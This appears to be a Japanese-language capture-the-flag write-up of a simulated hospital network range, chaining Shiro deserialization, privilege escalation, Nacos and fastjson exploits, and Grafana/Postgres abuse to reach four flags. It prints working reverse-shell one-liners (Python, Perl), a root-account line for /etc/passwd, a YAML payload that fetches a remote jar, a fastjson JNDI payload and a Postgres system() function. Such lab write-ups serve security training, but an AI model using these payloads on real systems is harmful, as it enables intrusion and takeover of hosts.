banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云鏡仿真靶場Hospital実操

[[仿真靶场 - Hospital]]#

概述#

このシーンでは、あなたは侵入テストエンジニアとして、ある病院のネットワークセキュリティをテストするために派遣されます。あなたの目標は、すべてのサーバーの権限を取得し、会社のネットワークセキュリティ状況を評価することです。この靶場には合計 4 つのフラグがあり、異なる靶機に分散しています。

image

靶場架構

image

情報収集#

fscan スキャンで以下の内容が得られました:

image

8080 ポートにはウェブサイトと heapdump ファイルが存在し、/actuator ディレクトリにアクセスします。

http://39.99.225.90:8080/actuator

image

ウェブサイトにアクセスし、弱いパスワードでバックエンドにログインします。

image

脆弱性の利用#

バックエンドにログインすると shiro が検出されます。

image

キーを破ることができず、以前の heapdump ファイルにキーがあります。

image

algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

破壊チェーン

image

コマンドを実行します。

image

メモリマを生成し、蚁剑が接続します。

image

権限昇格#

SUID 権限が設定されたファイルを探し、vim.basic を使用して root 権限でファイルを編集できます。

image

蚁剑からシェルをクラウドサーバーに反響させます。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

インタラクティブな端末にアップグレードする必要があります。

python3 -c "import pty;pty.spawn('/bin/bash')"

script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color

vim.basic を使用して /etc/passwd を変更し、権限を昇格させます。

openssl passwd -1 -salt 123 123456

パスワードを生成します。

/etc/passwd ファイルにアカウントを追加します。

hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash

flag01#

追加後、su を使用して新しく追加したアカウントに切り替えます。このサーバーは web01 で、flag01 の値を取得します。

su hacker

image

参考:https://cloud.tencent.com/developer/article/1711865

内網スキャン#

fscan を使用してスキャンします。

172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8009 open
172.30.12.6:8848 open
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None リダイレクトURL: http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34 code:200 len:2005   title:医療管理バックエンド
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP ステータス 404 – 見つかりません
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:病院バックエンド管理プラットフォーム
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 

以下の 2 つの資産が見つかりました。

http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass 
http://172.30.12.236:8080 code:200 len:3964   title:病院バックエンド管理プラットフォーム

内網 172.30.12.6 には nacos サービスが存在し、デフォルトパスワード nacos/nacos があります。
http://172.30.12.236:8080には fastjson サービスがあります。


flag02#

venomを利用して内網をプロキシし、admin がポートをリッスンし、agent が接続を開始します。

./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost x.x.x.x(vps ip) -rport 9999

nacos アプリケーションにアクセスします。

http://172.30.12.6:8848/nacos/

image

設定ファイルを読み取ります。

image

datasource:

mysql:

url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true

username: root

password: P@ssWord!!!

db-config のロールバック設定ファイルには、悪意のある設定の jar パッケージが表示されます。内容はほぼ次のようになります。最初はこれにロールバックする必要があると思いましたが、何度も環境をリセットした後、テストしてみるとロールバックする必要はありません。以下は手動設定ファイルです。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://172.30.12.5:802/yaml-payload.jar"]
  ]]
]

ツールを利用して利用します。

悪意のあるペイロードをコンパイルする必要があります。プロジェクトを参考にしてください:https://github.com/artsploit/yaml-payload

AwesomeScriptEngineFactory.java の内容を変更するだけで、ターゲットは Windows マシンなので、アカウントを追加できます。ターゲットサーバーも 3389 ポートを開いています。

public AwesomeScriptEngineFactory() {
	try {
		Runtime.getRuntime().exec("net user lca Lca@123 /add");
		Runtime.getRuntime().exec("net localgroup administrators lca /add");
	} catch (IOException e) {
		e.printStackTrace();
	}
}

次に、java1.8 のバージョンでコンパイルします。必ず java1.8 でコンパイルしてください。

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

web01 サーバー(flag01 のサーバー)にアップロードし、web01 で python サービスを開始して、web02(172.30.12.6)が悪意のある jar パッケージをダウンロードできるようにします。その後、NacosExploitGUI_v3.9 を使用してリクエストを送信します。jar のパスは python で起動したウェブサービスのパスです。

java -jar NacosExploitGUI_v3.9.jar

image

web01 がリクエストを受け取ると、172.30.12.6 が悪意のあるペイロードをダウンロードしたことが示されます。次に、アカウントが正常に追加されたかどうかを確認します。

image

ローカルコンピュータで proxifier を設定し、3389 に接続します。

image

image

接続に成功し、flag02 を取得します。このサーバーは web02 です。

image

nacos 関連の脆弱性:

Nacos 内網集群 Raft 反序列化脆弱性
Nacos JRaft Hessian 反序列化脆弱性利用ツール


flag03#

別のマシンには fastjson の脆弱性があります。

image

ネットワークを出さずに、172.30.12.5(web01)でJNDIを起動します。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

yakit では下位プロキシを有効にする必要があります。

image

flag03 を取得します。このマシンは web03 です。


flag04#

ローカルコンピュータが最後のマシンにアクセスするには、二層の内網プロキシが必要です。このマシンにはgrafana+postgresの 2 つのサービスがあり、grafana には弱いパスワードがあり、バックエンドに直接ログインできます。

grafana のバックエンドから postgres のコマンドを実行し、web03 サーバーに低権限のシェルを反響させます。

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

web3 で、https://github.com/A-D-Team/grafanaExp をダウンロードし、上記の exp (**CVE-2021-43798**) を利用してアカウントとパスワードを読み取り、postgres アカウントにログインします。

./grafanaExp exp -u http://172.30.54.12.:3000/

アカウントとパスワード postgres@123 を取得し、psql にログインします。

psql -h 172.30.54.12 -U postgres -W

postgres=# select version();

#管理者のパスワードはmd5形式です。
postgres=# SHOW is_superuser;

hashcat を使用してパスワードを解読します。データベース root のパスワードは P@ssw0rd123 です。

hashcat -w 4 -m 0 hashfile.txt /usr/share/wordlists/rockyou.txt -O

次に、root ユーザーでログインし、psql を絶対パスで実行します。

sudo /usr/local/postgresql/bin/psql

\?を入力してコマンドラインに移動し、flag04 を見つけます。

image

参考#

https://h0ny.github.io/posts/Hospital-%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/#grafana-unauthorized-arbitrary-file-reading-cve-2021-43798

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。